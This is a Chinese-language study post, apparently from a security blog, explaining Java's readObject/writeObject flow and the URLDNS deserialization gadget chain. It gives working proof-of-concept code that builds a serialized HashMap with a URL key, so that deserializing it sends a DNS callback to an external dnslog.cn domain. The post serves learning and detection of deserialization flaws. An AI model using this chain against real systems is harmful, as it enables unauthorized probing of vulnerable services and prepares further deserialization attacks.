readObject和URLDNS反序列化利用链
这几天有点忙 学的略慢
最开始我很不理解readObject和writeObject的执行过程 后来把源码看了一遍 又自己写了demo进行测试 差不多是明白一些了 对p牛说的java序列化和反序列化的设计思想也有了概念。
readObject和writeObject理解:
readObject和writeObject本质上都是在对序列化的字节流进行操作 readObject可以读取到writeObject中写入的内容 比如HashMap的readObject可以从writeObject中读取到key和value
testcode:
public class URLDNS {
public static void main(String[] args) throws Exception {
test a = new test();
byte []b = serialize(a);
unserialize(b);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
class test implements Serializable {
private void readObject(ObjectInputStream s)throws Exception{
String a = (String) s.readObject();
System.out.println(a);
}
private void writeObject(ObjectOutputStream s)throws Exception{
s.writeObject("aaaaaaaaa");
}
}
在运行过程中,成功打印了writeObject中写入的aaaaaaaaa
如果想要理解这个流程 就得看一看readObject的源码了
不做详细分析 说一下关键流程
在我看来 readObject有两个核心功能,一个是从还原出writeObject写入到字节流中的对象,一个是判断对象是否重写了readObject方法,如果重写了,则使用反射,调用重写后的readObject,而贯穿其中的则是我们传入的序列化字节流,而重写的readObject和writeObject则通过传参的方式,继续对字节流进行操作。这个地方我个人觉得初学(尤其是像我这种基础差的)很容易钻到牛角尖,不过如果把整个过程,都看成一条对字节流进行数据存取操作的流水线的话,就容易理解了。然后简单看一下源码。
跟进这个核心函数
中间的流程就不说了
最终的关键点在这里 看方法名也懂了,如果存在readObject,就反射调用方法。 而这个判断方法的依据属性,其实是在ObjectStreamClass 的构造方法中就进行了初始化。 这就是反序列化中 从ObjectOutputStream.readObject->对象.readObject的过程。
然后就可以看看URLDNS了。
不得不说 这个链有手就行 不要太简单 主要还是理解下过程吧。
从HashMap的readObject看起
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
// set hashSeed (can only happen after VM boot)
Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
sun.misc.Hashing.randomHashSeed(this));
// Read in number of buckets and allocate the bucket array;
s.readInt(); // ignored
// Read number of mappings
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
int initialCapacity = (int) Math.min(
// capacity chosen by number of mappings
// and desired load (if >= 0.25)
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);
int capacity = 1;
// find smallest power of two which holds all mappings
while (capacity < initialCapacity) {
capacity <<= 1;
}
table = new Entry[capacity];
threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
useAltHashing = sun.misc.VM.isBooted() &&
(capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);
init(); // Give subclass a chance to do its thing.
// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}
在最后的putForCreate中,有一个对key的hash操作
跟进去
然后这个hashCode显然是利用了Java的多态特性 因为key本身是Object,在具体的实例确定之前 都不会知道是调用了哪个的hashCode
而在URLDNS链中,我们调用的是URL的hashCode方法
如图
跟进后面的调用
在断点处,对key进行了域名解析,也就成功带出了dnslog请求。 当然 这个东西只能测试存在反序列化。
testcode:
public static void test1()throws Exception{
HashMap<URL,String> hashMap = new HashMap<URL,String>();
URL url = new URL("http://q9owhk.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123123);
hashMap.put(url,"P3rh4ps");
f.set(url,-1);
byte []a = serialize(hashMap);
unserialize(a);
}
这里先把url设置成一个随意值,是为了防止put时候进行请求 在put后重新设置字段为-1 hashMap中的对象也会随之改变
运行之后 dnslog成功收到请求。
0 条评论